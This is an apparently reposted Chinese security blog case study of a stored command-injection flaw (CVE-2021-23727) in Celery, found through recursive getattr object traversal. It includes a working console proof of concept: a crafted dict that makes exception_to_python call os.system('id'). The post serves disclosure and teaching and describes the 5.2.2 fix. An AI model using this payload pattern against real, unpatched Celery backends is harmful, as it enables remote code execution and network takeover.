案例研究:Celery 中的 Python RCE 漏洞

admin 2022年4月23日11:41:18评论133 views字数 3768阅读12分33秒阅读模式

点击上方蓝字“Ots安全”一起玩耍

概述

我根据现有的 Python 漏洞进行了研究,并确定了它们之间的共同软件模式。通过利用我们内部静态分析引擎的强大功能,该引擎也驱动了我们的静态应用程序安全测试 (SAST) 产品 Snyk Code,我能够创建自定义规则并搜索大型开源代码数据集,以识别其他使用相同模式的项目。这导致在Celery中发现了一个存储命令注入漏洞。Snyk Code 等 SAST 工具允许开发人员纯粹通过分析静态源代码和识别低效或危险代码的模式来识别软件中的错误。 


动机

我的动机是基于个人经验和开源 Python 项目(CVE-2017-11610和CVE-2021-32807)中的漏洞研究来开展这个研究项目。我的假设是对象遍历(从另一个对象获取对任意对象属性的引用的能力)是 Python 中的一个常见特性。我想调查并证明这个假设,以确定这种模式在更广泛的 Python 生态系统中的普遍性,特别是识别可能导致安全漏洞的任意(或几乎任意)对象遍历的实例。


语境

在 Python 中,几乎语言的每个元素都是一个对象,具有自己显式和继承的属性和方法(包括类实例和模块)。因此,Python 应用程序可能会提供一种遍历对象命名空间的方法,以获得对对象属性或子属性的引用。为了实现这一点,可以执行递归属性查找。  


下面的简化示例代码演示了如何遍历对象命名空间(在 Python 3 中),通过导入无害模块(random),可以通过使用获取对导入的(别名作为)模块:os.systemgetattros_os

>>> import random >>> random <module 'random' from '/usr/local/Cellar/python@3.9/3.9.7/Frameworks/Python.framework/Versions/3.9/lib/python3.9/random.py'> >>> attr = getattr(random, '_os') >>> attr <module 'os' from '/usr/local/Cellar/python@3.9/3.9.7/Frameworks/Python.framework/Versions/3.9/lib/python3.9/os.py'> >>> attr.system <built-in function system>

如果 Python 应用程序向用户公开对象遍历功能,以使他们可以操纵请求的对象命名空间路径或属性,则可能会导致任意(或几乎任意)对象遍历,从而导致几个潜在问题:


如果用户可以获得对私有方法或属性(例如.obj._private_method() or obj._secret

如果使用用户提供的参数获取和调用任意方法,例如,远程代码执行 (RCE) 也是可能的。这不太可能因为用户需要获取对该方法的引用,并且能够将参数传递给它。os.system()

总而言之,可以在 Python 应用程序中控制或操纵对象遍历的攻击者可能会访问给定模块或类实例的属性和子属性,以不受限制或意外的方式利用它们的功能。


易受攻击的模式

与上述 CVE 相关的模式是递归属性查找模式,通常基于 Python 虚线路径。路径在循环中被拆分和迭代,路径的当前元素用于获取对上下文的引用,使用. 然后将前一个调用的引用用作下一个调用的上下文,并重复该过程,直到路径中没有元素为止。以下脚本演示了这一点:getattr()getattr()

import randomcls = randompath = '_os.system'for name in path.split('.'):  cls = getattr(cls, name)print(cls) # prints '<function system at 0x1074900d0>

点分隔的路径被分成两个字符串 (_ossystem)。对于循环的第一次迭代,cls变量是对random模块的引用,因此查找模块的属性,即模块。then的上下文成为模块,在下一次迭代中,模块的属性被检索,也就是.getattr()_osrandomosgetattr()ossystemosos.system()


案例研究(Celery – CVE-2021-23727)

使用 Snyk 代码引擎,我开发了一些规则来识别其他开源 Python 代码中的相同模式。其中一个规则/模式匹配在 Celery 内部,这是一个基于分布式消息传递的开源异步任务队列。该规则与类中的exception_to_python函数匹配:celery.backends.base.Backend

案例研究:Celery 中的 Python RCE 漏洞

可以在函数内部的第 354 行看到递归getattr模式。通过进一步查看函数以及它在 Celery 中的使用方式,很明显整个excdict 对象源自存储在 Celery 后端中的 JSON 数据。因此,它可能会被有权访问后端服务器的用户控制或操纵,因此应该认为 dict 的所有字段都可能受到污染。 


根据excdict 对象的属性(第 352 行),进一步分析识别出访问了任意模块引用的代码。然后使用递归属性模式来查找模块的任意属性。然后使用单个字符串参数调用获取的属性引用,该参数也取自excdict 对象(第 364 行)。 


考虑到整个excdict 对象可能被污染,并且没有验证来防止任意模块和属性被访问,该代码被确定为可能容易受到存储命令注入的影响。 


我使用 Python 控制台证明了这个假设,通过导入相关类并制作恶意字典来模拟攻击者在 Celery 后端的数据库中创建恶意 JSON blob:

Python 3.8.9 (default, Aug  3 2021, 19:21:54)[Clang 13.0.0 (clang-1300.0.29.3)] on darwinType "help", "copyright", "credits" or "license" for more information.>>> exc = {... 'exc_module':'os',... 'exc_type':'system',... 'exc_message':'id'... }>>> from celery.backends.base import Backend>>> from celery import Celery>>> b = Backend(Celery())>>> b.exception_to_python(exc)uid=501(calumh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)

首先,我创建一个 Python 字典,以传递给易受攻击的函数。这个 dict 包含控制要访问的模块的属性 ( exc_module)、获取对 () 的引用的模块的什么属性exc_type,以及最后传递给获取的方法 ( exc_message) 的参数。   

>>> exc = {... 'exc_module':'os',... 'exc_type':'system',... 'exc_message':'id'... }

接下来的几行将易受攻击的代码从 Celery 导入 Python 控制台,并Backend使用对象初始化该类Celery

>>> from celery.backends.base import Backend>>> from celery import Celery>>> b = Backend(Celery())

最后,当 dict 被传递给易受攻击的方法时,该漏洞被触发exception_to_python

>>> b.exception_to_python(exc)uid=501(calumh) gid=20(staff)...

上面代码片段的最后一行是id命令的输出,证明制作的 dict 被反序列化并成功触发了Backend类内的任意命令注入。


对于使用 Celery 的系统,利用此漏洞的攻击者可能会导致生产者内的命令注入,从而可能允许整个系统接管。如果 Celery 后端是远程的,此漏洞还可能允许已获得 Celery 后端访问权限的攻击者在组织的网络中横向移动,并在其他网络基础设施上获得立足点。  


整治

此问题已负责任地向 Celery 披露,并在软件的 5.2.2 版本中通过添加目标模块的验证并在调用具有潜在污染输入的任意函数之前检查已解析属性的类型来修复。通常,在反序列化对象时,应始终注意任何可能被污染的数据,即使它来自远程数据源或数据库。如果可能,应在反序列化之前或至少在调用反序列化对象的方法或属性之前检查和验证对象的类型。

案例研究:Celery 中的 Python RCE 漏洞

原文始发于微信公众号(Ots安全):案例研究:Celery 中的 Python RCE 漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日11:41:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   案例研究:Celery 中的 Python RCE 漏洞http://cn-sec.com/archives/913510.html

发表评论

匿名网友 填写信息